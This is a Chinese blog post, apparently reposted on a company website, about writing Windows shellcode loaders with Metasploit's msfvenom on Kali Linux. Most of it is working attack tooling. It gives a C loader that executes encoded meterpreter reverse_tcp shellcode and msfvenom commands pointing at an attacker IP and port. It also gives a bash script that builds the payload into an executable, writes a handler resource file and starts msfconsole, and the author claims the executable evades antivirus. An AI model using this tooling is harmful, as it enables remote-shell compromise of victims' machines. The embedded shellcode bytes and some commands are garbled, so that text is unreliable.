感谢您的支持,我们会继续努力的!

潍坊谷尼软件技术服务有限公司 潍坊谷尼软件技术服务有限公司

2021-02-10
我的shellcode编写之路 |MSF| Shellcode | kali linux 2017

当前位置:首页 > 资讯 > 网络安全 > 我的shellcode编写之路 |MSF| Shellcode | kali linux 2017

我的shellcode编写之路 |MSF| Shellcode | kali linux 2017

发布日期:2021-02-10 11:57:14

游览量:193

作者:谷尼软件



1.我有一个大胆的想法

其实shellcode的这篇的灵感也是在与和车王两人的沟通,在他的带领下 也是才知道https://www.exploit-db.com/?原来也有shellcode的一篇新的视角,也是在第二天的时间,也是偷偷的趁着上班的空余时间 研究了一下,上帝第一视角。也是蛮有意思的事情。在shellcode中包含了很多平台的shellcode。

 

2.无心插柳柳成荫

当我无意间浏览到某篇文章后,已经吸引了我的注意力了?https://www.exploit-db.com/exploits/37758/

3.shellcode 弹窗hellword 警告窗口

  1. # include <stdlib.h>

  2. # include <stdio.h>

  3. # include <string.h>

  4. # include <windows.h>

  5. int

  6. main(void)

  7. {

  8.  char *shellcode = "3dI0I "

  9.    "IYA "

  10.    "x 3um"

  11.    "\x8bmxE "

  12.    "3ҋ4B"

  13.    "\x47etPu~"

  14.    "rocAuu$"

  15.    "fVu"

  16.    "t3Wh"

  17.    "aryAhLibrh"

  18.    "LoadTS3"

  19.    "Wf32Qhuse"

  20.    "rTWhoxA"

  21.    "L$hageBh"

  22.    "MessTPWh"

  23.    "rld!ho Woh"

  24.    "HellWWQW"

  25.    "WhessL"

  26.    "$hProchEx"

  27.    "itTSW";

  28.  DWORD why_must_this_variable;

  29.  BOOL ret = VirtualProtect (shellcode, strlen(shellcode),

  30.    PAGE_EXECUTE_READWRITE, &why_must_this_variable);

  31.  if (!ret) {

  32.    printf ("VirtualProtect ");

  33.    return EXIT_FAILURE;

  34.  }

  35.  printf("strlen(shellcode)=%d ", strlen(shellcode));

  36.  ((void (*)(void))shellcode)();

  37.  return EXIT_SUCCESS;

  38. }

我们来手动的进行编译一下看看具体的效果如何 是不是和他说的一样 会弹框 (hello word)

4.得到的信息和回顾学过的知识

可以看到弹窗的内容是helloword ,也可以看到代码中并无helloword的字符串以及MessageBox 的调用,也就是相关重点的代码就在于shellcode的硬编码。

那么这就让我想到了msfvenom的shellcode代码 ,由msfvenom生成的恶意的shellcode的。也就是以c生成shellcode硬编码。相关如何的msfvenom

也可以在https://github.com/demonsec666/secist_script?中找到我之前录制的msf课程中的第五课 也有提到过msfvenom的教程 ,亦可以查看官方文档https://www.offensive-security.com/metasploit-unleashed/msfvenom/

5.shellcode_msfvenom

本篇就以/www.offensive-security.com 中的msfvenom 教程为例

  1. root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '' -i 3 -f python

  2. Found 1 compatible encoders

  3. Attempting to encode payload with 3 iterations of x86/shikata_ga_nai

  4. x86/shikata_ga_nai succeeded with size 326 (iteration=0)

  5. x86/shikata_ga_nai succeeded with size 353 (iteration=1)

  6. x86/shikata_ga_nai succeeded with size 380 (iteration=2)

  7. x86/shikata_ga_nai chosen with final size 380

  8. Payload size: 380 bytes

  9. buf = ""

  10. buf += "xt$X1"

  11. buf += "ɱY1XXw2"

  12. buf += "S,"

  13. buf += "Gߣy+Lxn"

  14. buf += "SY7Www"

  15. buf += "mX5r}"

  16. buf += "1≉ug"

  17. buf += "s?m=Bz"

  18. buf += "ckrYX? A"

  19. buf += "-2=QVi"

  20. buf += "M'.|c\ը"

  21. buf += "\x8f8Eq"

  22. buf += "4Y7("

  23. buf += "Wgs"

  24. buf += "2v|/)6.s"

  25. buf += "1Id9Ǡ"

  26. buf += " (B"

  27. buf += "')}G,h"

  28. buf += "#1}X{vKQ"

  29. buf += "fK#G"

  30. buf += "qw.$J=o"

  31. buf += "U#.¥sȷ}k"

  32. buf += "U)&%\"

  33. buf += ";_H"

  34. buf += "{2'+%D۽"

  35. buf += "HVLVH:k"

  36. buf += "*M VFh"

  37. buf += "vR,$b(f"

  38. buf += ")vU "

  39. buf += "?"

可以看到使用msfvenom 自动帮我们生成恶意的shellcode

  • 其中的-a 代表 的是目标的架构 如:x86

  • –platform 代表的是一个目标机的平台 如: windows

  • 那么-p 呢 代表的是msf的payload的以及-e 和-b 呢 代表这个 encoder编码器,-b 表示去除硬编码中的0x00代码,因为0x00代表着结束的符号,所以我们不能让他出现0x00这个代码。

  • 最后的 -i 和-f 分别代表的是iterations和format (迭代次数和格式)

那么我们将其代码重新改改,我们比如需要的功能是meterperter、指定ip和端口、指定shellcode 编码格式如:c或者python等代码

  1. msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击者IP地址  LPORT=攻击者端口  -e x86/shikata_ga_nai -b '' -i 迭代次数  -f  c

那么简短来说就是

  1. -p去指定payload为 windows/meterpreter/reverse_tcp

  2. LHOST 和LPORT 指定攻击者ip和端口

  3. -e指定x86/shikata_ga_nai 编码器

  4. -i 指定迭代为如 5次 或10次等

  5. -f 指定输出的格式 如c 代码 、或者python等其他格式的代码

  6. -f参数可以参考msfvenom的帮助参数 查看-f的支持格式

6.shellcode_c_msf

最终我们可以得到由msfvenom 生成C的shellcode代码

  1. msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp  LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -b '' -i 4 -f c

  2. Found 1 compatible encoders

  3. Attempting to encode payload with 4 iterations of x86/shikata_ga_nai

  4. x86/shikata_ga_nai succeeded with size 360 (iteration=0)

  5. x86/shikata_ga_nai succeeded with size 387 (iteration=1)

  6. x86/shikata_ga_nai succeeded with size 414 (iteration=2)

  7. x86/shikata_ga_nai succeeded with size 441 (iteration=3)

  8. x86/shikata_ga_nai chosen with final size 441

  9. Payload size: 441 bytes

  10. Final size of c file: 1878 bytes

  11. unsigned char buf[] =

  12. "ĽA8t$^1ɱ"

  13. "h1~~&H"

  14. "@pgv(."

  15. "{_\ $U"

  16. "޺ %,7"

  17. "]Slzҙi[a +"

  18. "b gV/~m"

  19. "$&X"

  20. "+q7ڷ.ٿ"

  21. ")\+2Y;1W8"

  22. "uU0e_C"

  23. "m \x82~"

  24. "Řx֦D"

  25. "}Wٵ _?"

  26. " ȭ_o||\x25"

  27. "DbӔ \xd9qk"

  28. "J64ih"

  29. "S"oYTS%1@\x03"

  30. ";kB_$7"

  31. " us@$"

  32. ",e|Ӣ26"

  33. "60qO`G "

  34. ":8V@NQH"

  35. " 7z:0"

  36. "^\e$,ܽ"

  37. "'*tڋJFgB"

  38. "p\6BWd"

  39. "B5nkی/"

  40. "7ba7^w"

  41. "";

7.编译、监听、运行

那么我们得了到了msfvenom生成的shellcode,那么我们将其带入之前弹框的hellword代码中,写出以下代码:

  1. # include <stdlib.h>

  2.  # include <stdio.h>

  3.  # include <string.h>

  4.  # include <windows.h>

  5.  int

  6.  main(void)

  7.  {

  8.    char *shellcode =

  9.    #Shellcode的代码

  10. "ĽA8t$^1ɱ"

  11. "h1~~&H"

  12. "@pgv(."

  13. "{_\ $U"

  14. "޺ %,7"

  15. "]Slzҙi[a +"

  16. "b gV/~m"

  17. "$&X"

  18. "+q7ڷ.ٿ"

  19. ")\+2Y;1W8"

  20. "uU0e_C"

  21. "m \x82~"

  22. "Řx֦D"

  23. "}Wٵ _?"

  24. " ȭ_o||\x25"

  25. "DbӔ \xd9qk"

  26. "J64ih"

  27. "S"oYTS%1@\x03"

  28. ";kB_$7"

  29. " us@$"

  30. ",e|Ӣ26"

  31. "60qO`G "

  32. ":8V@NQH"

  33. " 7z:0"

  34. "^\e$,ܽ"

  35. "'*tڋJFgB"

  36. "p\6BWd"

  37. "B5nkی/"

  38. "7ba7^w"

  39. "";

  40.    DWORD why_must_this_variable;

  41.    BOOL ret = VirtualProtect(shellcode, strlen(shellcode),

  42.      PAGE_EXECUTE_READWRITE, &why_must_this_variable);

  43.    if (!ret) {

  44.      printf("VirtualProtect ");

  45.      return EXIT_FAILURE;

  46.    }

  47.    ((void(*)(void))shellcode)();

  48.    return 0;

  49.  }

编译可以使用vs微软的编译器也可以和我一样使用tdm-gcc。

关于TDM-GCC在我的项目中有提到过:https://github.com/demonsec666/secist_script

  • 使用TDM-GCC 虽然有报错 ,但是也不影响最终得到会话的结果

  • 其中的-M32 代表指的是32位 以及-W -Wall 是忽略警告的意思,其他的我就不用多说了吧

  • 也可以使用vs进行编译生成exe。

以下是我在win下编译运行测试得到的结果,也是同样绕过杀软的安全防护

8.Bash下的编写思路形成懒人自动化的脚本

我们要考虑几点内容:

  1. 如何将我们生成的shellcode代码代入到cpp当中

  2. 如何指定ip和端口 自动化的帮我们完成所有事情

  3. 如何将我们生成的shellcode代码代入到cpp当中

其实我们可以使用echo结合$变量符大法将其重定向到缓存文件中去,如下所示

  1. echo $(msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp  LHOST=192.168.1.100 LPORTta_ga_nai -b '' -i 4 -f c) >>  shellcode.txt

写到缓存文件我们是不是马上可以放入到cpp中去呢?其实不是 细心的朋友可以发现shellcode.txt中包含着 unsigned char buf[] = 的字符串。所以我们需要用的一个命令 => sed ,使用sed 删除匹配unsigned char buf[] = 的字符串,也就是说得到以下命令

  1. sed 's/unsigned char buf[] =//g'

完整命令

  1. echo $(msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp  LHOST=192.168.1.100 LPORTta_ga_nai -b '' -i 4 -f c)  | sed 's/unsigned char buf[] =//g' >>  shellcode.txt

第一个问题解决了 讲msfvenom的shellcode存储到缓存文件中 ,那么我们需要得到完整的cpp文件该如何做呢?

  1. echo $(msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp  LHOST=192.168.1.100 LPORTta_ga_nai -b '' -i 4 -f c)  | sed 's/unsigned char buf[] =//g' >>   shellcode.txt

  2. echo  "

  3. # include <stdlib.h>

  4. # include <stdio.h>

  5. # include <string.h>

  6. # include <windows.h>

  7. int

  8. main(void)

  9. {

  10.   char *shellcode =

  11.   $Shellcode

  12.   DWORD why_must_this_variable;

  13.   BOOL ret = VirtualProtect(shellcode, strlen(shellcode),

  14.     PAGE_EXECUTE_READWRITE, &why_must_this_variable);

  15.   if (!ret) {

  16.     printf("VirtualProtect ");

  17.     return EXIT_FAILURE;

  18.   }

  19.   ((void(*)(void))shellcode)();

  20.   return 0;

  21. }

  22. " >> output/shellcode.cpp

我们将得到的shellcode.txt 使用cat命令 将它输出 并且存储在一个变量中,如我使用的变量$shellcode,并将其变量代入到c代码中去这样也就完整的输出成我们想要的编译文件。

那么我们又如何指定ip和端口自动化的帮我们完成所有事情呢?在bash编程中我们使用read语法 ,read 就是接受用户键入的字符串。那么我们可以将其写成这样的:

  1. echo -e "       secist>请输入你的ip地址: c"

  2. read ip

  3. echo -e "       secist>请输入你的端口: c"

  4. read port

  5. echo -e "       secist>编码次数(1-500): c"

  6. read encode

分别将ip地址、端口、编码迭代次数。存储到ip、port、encode变量中。

9.开启上帝视角

最终我的个人完整代码为:

shellcode?(){
clear

echo??-e?”?????????<?Shellcode?Payload?>”
echo??-e?”??????????——————–”
echo?-e?”????????????????????????????????^__^?????????????”
echo?-e?”????????????????????????????????(oo)_______?????”
echo?-e?”?????????????????????????????????(__)???????)/?”
echo?-e?”?????????????????????????????????????||—-w?|????”
echo?-e?”?????????????????????????????????????||?????||?????”
echo?”??”
echo?-e?”??+————++————————-++———————–+”
echo??????”?????????????即刻安全周年庆版v1.7?(secist—-2017.7.14)”
echo?”?”
echo?-e?”????????????你的IP地址?:c”
/sbin/ifconfig?-a|grep?inet|grep?-v?127.0.0.1|grep?-v?inet6|awk?'{print?$2}’|tr?-d?”addr:”
echo?”????????????系统版本?:$(cat?/etc/issue)”
echo?-e?”??+————++————————-++———————–+”
echo?”??”
echo?”????????[1]?Meterpreter_Reverse_tcp ?[5]?Shell_reverse_tcp”
echo?”????????[2]?Meterpreter_Reverse_http ?????????[6]?exit”
echo?”????????[3]?Meterpreter_Reverse_https ?”
echo?”????????[4]?Meterpreter_Reverse_tcp_dns??????????”
echo?”????????[7]?back?meun?????”
echo?””
echo?-e?”??????????????secist>?c”
read?option

#Aukeratu
case?$option?in
1)
payload=’windows/meterpreter/reverse_tcp’
;;
2)
payload=’windows/meterpreter/reverse_http’
;;
3)
payload=’windows/meterpreter/reverse_https’
;;
4)
payload=’windows/meterpreter/reverse_tcp_dns’
;;
5)
payload=’windows/shell/reverse_tcp’
;;
6)
exit
;;
7)
menu
;;
*)
shellcode
;;
esac
if?[?”$option”?==?”1″?];?then
shellcode1
elif?[?”$option”?==?”2″?];?then
shellcode1
elif?[?”$option”?==?”3″?];?then
shellcode1

elif?[?”$option”?==?”4″?];?then
shellcode1

elif?[?”$option”?==?”5″?];?then
shellcode1

elif?[?”$option”?==?”6″?];?then
exit

elif?[?”$option”?==?”7″?];?then
menu
fi
}

shellcode1(){
#定义了一个菜单为shellcode1
echo?-e?”???????secist>请输入你的ip地址:?c”
read?ip
echo?-e?”???????secist>请输入你的端口:?c”
read?port
echo?-e?”???????secist>编码次数(1-500):?c”
read?encode
echo??$(?msfvenom?-a?x86?–platform?Windows?-p?windows/meterpreter/reverse_tcp?LHOST=$ip??LPORT=$port?-e?x86/shikata_ga_nai?-b?’′?-i?$encode?-f?c)?|?sed?’s/unsigned?char?buf[]?=//g’?>>?output/shellcode.txt
Shellcode=$(cat?output/shellcode.txt)
echo??”
#?include?<stdlib.h>
#?include?<stdio.h>
#?include?<string.h>

#?include?<windows.h>

 

int
main(void)
{
char?*shellcode?=

$Shellcode

 

DWORD?why_must_this_variable;
BOOL?ret?=?VirtualProtect(shellcode,?strlen(shellcode),
PAGE_EXECUTE_READWRITE,?&why_must_this_variable);

if?(!ret)?{
printf(”VirtualProtect ”);
return?EXIT_FAILURE;
}
((void(*)(void))shellcode)();

return?0;
}

“?>>?output/shellcode.cpp

wine?gcc?-m32?-W?-Wall?-o?output/shellcode.exe?output/shellcode.cpp
rm?output/shellcode.txt?output/shellcode.cpp
echo?-e?”??+————++————————-++———————–+”
echo?-e?”??|?Name???????||??Descript??? ??????????||?Your?Input?????????????”
echo?-e?”??+————++————————-++———————–+”
echo?-e?”??|?LHOST??????||??The?Listen?Addres??????||?$ip????????????????????”
echo?-e?”??|?LPORT??????||??The?Listen?Ports???????||?$port??????????????????”
echo?-e?”??|?OUTPUTNAME?||??The?Filename?output????||?output/shellcode.exe???”
echo?-e?”??+————++————————-++———————–+”
echo?”use?exploit/multi/handler”?>>?resource/handler.rc
echo?”set?PAYLOAD?$payload”?>>?resource/handler.rc
echo?”set?LHOST?$ip”?>>??resource/handler.rc
echo?”set?LPORT?$port”?>>??resource/handler.rc
echo?”exploit?”?>>??resource/handler.rc
msfconsole?-r??resource/handler.rc
}

视频彩蛋



潍坊谷尼软件技术服务有限公司17年行业经验、服务企业5000家,知名企业近160家。谷尼信天翁是山东网站制作机构,是山东企业"互联网+";"移动营销"品牌。执行供给侧改革的网络企业。咨询热线:13188831521
TAG标签:kali linux , shellcode , 自动化的脚本 ,
未注明作者或来源均属原创文章,转载请注明:转自 谷尼软件

推荐